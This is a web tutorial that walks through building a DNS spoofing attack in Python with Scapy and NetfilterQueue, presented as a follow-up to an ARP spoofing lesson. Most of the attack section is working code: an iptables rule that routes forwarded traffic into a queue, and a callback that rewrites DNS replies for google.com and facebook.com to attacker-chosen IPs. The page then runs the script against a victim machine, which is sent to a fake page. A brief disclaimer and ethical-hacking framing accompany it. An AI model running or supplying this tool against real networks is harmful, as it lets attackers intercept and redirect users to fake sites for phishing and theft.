Want to code faster? Our Python Code Generator lets you create Python scripts with just a few clicks. Try it now!
In the previous tutorial, we have discussed about ARP spoof and how to successfully make this kind of attack using Scapy library. However, we haven't mentioned the benefit of being man-in-the-middle. In this tutorial, we will see one of the interesting methods out there, DNS spoofing.
A Domain Name System server translates the human-readable domain name ( such as google.com ) into an IP address that is used to make the connection between the server and the client, for instance, if a user wants to connect to google.com, the user's machine will automatically send a request to the DNS server, saying that I want the IP address of google.com as shown in the figure:
The server will respond with the corresponding IP address of that domain name:
The user will then connect normally to the server:
Alright, this is totally normal, but now what if there is a man-in-the-middle machine between the user and the Internet? well, that man-in-the-middle can be a DNS Spoofer!
Get: Build 35+ Ethical Hacking Scripts & Tools with Python Book
DNS spoofing, also referred to as DNS cache poisoning, is a form of computer security hacking in which corrupt Domain Name System data is introduced into the DNS resolver's cache, causing the name server to return an incorrect result record, e.g. an IP address. This results in traffic being diverted to the attacker's computer (or any other computer). (Wikipedia)
But the method we are going to use is a little bit different, let's see it in action:
Note: In order to be a man-in-the-middle, you need to execute the ARP spoof script, so the victim will be sending the DNS requests to your machine first, instead of directly routing them into the Internet.
Now since the attacker is in between, he'll receive that DNS request indicating "what is the IP address of google.com", then he'll forward that to the DNS server as shown in the following image:
The DNS server received a legitimate request, it will respond with a DNS response:
The attacker now received that DNS response that has the real IP address of google.com, what he will do now is to change this IP address to a malicious fake IP ( in this case, his own web server 192.168.1.100 or 192.168.1.106 or whatever ):
This way, when the user types google.com in the browser, he'll see a fake page of the attacker without noticing!
Let's see how we can implement this attack using Scapy in Python.
Related: Ethical Hacking with Python Book
First, I need to mention that we gonna use NetfilterQueue library which provides access to packets matched by an iptables rule in Linux (so this will only work on Linux distros).
As you may guess, we need to insert an iptables rule, open the Linux terminal and type:
iptables -I FORWARD -j NFQUEUE --queue-num 0
This rule indicates that whenever a packet is forwarded, redirect it ( -j for jump ) to the netfilter queue number 0. This will enable us to redirect all the forwarded packets into Python.
Now, let's install the required dependencies:
pip3 install netfilterqueue scapy
Let's import our modules (You need to install Scapy first, head to this tutorial or the official Scapy documentation for installation):
from scapy.all import *
from netfilterqueue import NetfilterQueue
import os
Let's define our DNS dictionary:
# DNS mapping records, feel free to add/modify this dictionary
# for example, google.com will be redirected to 192.168.1.100
dns_hosts = {
b"www.google.com.": "192.168.1.100",
b"google.com.": "192.168.1.100",
b"facebook.com.": "172.217.19.142"
}
The netfilter queue object will need a callback that is invoked whenever a packet is forwarded, let's implement it:
def process_packet(packet):
"""
Whenever a new packet is redirected to the netfilter queue,
this callback is called.
"""
# convert netfilter queue packet to scapy packet
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSRR):
# if the packet is a DNS Resource Record (DNS reply)
# modify the packet
print("[Before]:", scapy_packet.summary())
try:
scapy_packet = modify_packet(scapy_packet)
except IndexError:
# not UDP packet, this can be IPerror/UDPerror packets
pass
print("[After ]:", scapy_packet.summary())
# set back as netfilter queue packet
packet.set_payload(bytes(scapy_packet))
# accept the packet
packet.accept()
All we did here is convert the netfilter queue packet into a Scapy packet, then check if it is a DNS response, if it is the case, we need to modify it using modify_packet(packet) function, let's define it:
def modify_packet(packet):
"""
Modifies the DNS Resource Record `packet` ( the answer part)
to map our globally defined `dns_hosts` dictionary.
For instance, whenever we see a google.com answer, this function replaces
the real IP address (172.217.19.142) with fake IP address (192.168.1.100)
"""
# get the DNS question name, the domain name
qname = packet[DNSQR].qname
if qname not in dns_hosts:
# if the website isn't in our record
# we don't wanna modify that
print("no modification:", qname)
return packet
# craft new answer, overriding the original
# setting the rdata for the IP we want to redirect (spoofed)
# for instance, google.com will be mapped to "192.168.1.100"
packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
# set the answer count to 1
packet[DNS].ancount = 1
# delete checksums and length of packet, because we have modified the packet
# new calculations are required ( scapy will do automatically )
del packet[IP].len
del packet[IP].chksum
del packet[UDP].len
del packet[UDP].chksum
# return the modified packet
return packet
Now, let's instantiate the netfilter queue object after inserting the iptables rule:
QUEUE_NUM = 0
# insert the iptables FORWARD rule
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# instantiate the netfilter queue
queue = NetfilterQueue()
We need to bind the netfilter queue number with the callback we just wrote and start it:
try:
# bind the queue number to our callback `process_packet`
# and start it
queue.bind(QUEUE_NUM, process_packet)
queue.run()
except KeyboardInterrupt:
# if want to exit, make sure we
# remove that rule we just inserted, going back to normal.
os.system("iptables --flush")
Related: Build 35+ Hacking tools from Scratch using Python
I've wrapped it in a try-except to detect whenever a CTRL+C is clicked, so we can delete the iptables rule we just inserted.
That's it, now before we execute it, remember we need to be a man-in-the-middle, so let's execute our arp spoof script we made in the previous tutorial:
Let's execute the DNS spoofer we just created:
root@rockikz:~# python3 dns_spoof.py
Now the script is listening for DNS responses, let's go to the victim machine and ping google.com:
Wait, what? The IP address of google.com is 192.168.1.100 !
Let's try to browse Google:
I have set up a simple web server at 192.168.1.100 ( a local server), which returns this page, now google.com is mapped to 192.168.1.100 ! That's amazing.
Going back to the attacker's machine:
Congratulations! You have successfully completed writing a DNS spoof attack script which is not very trivial. If you want to finish the attack, just click CTRL+C on the arp spoofer and DNS spoofer, and you're done.
DISCLAIMER: I'm not responsible for using this script in a network you don't have permission to. Use it on your own responsibility.
To wrap up, this method is widely used among network penetration testers, and now, you should be aware of these kinds of attacks.
In the Ethical Hacking with Python Book, we build more than 35 hacking scripts and tools! Check it out here if you're interested.
Learn also: How to Build a WiFi Scanner in Python using Scapy.
Happy Crafting ♥
Save time and energy with our Python Code Generator. Why start from scratch when you can generate? Give it a try!
View Full Code Explain The Code for Me
Got a coding query or need some guidance before you comment? Check out this Python Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!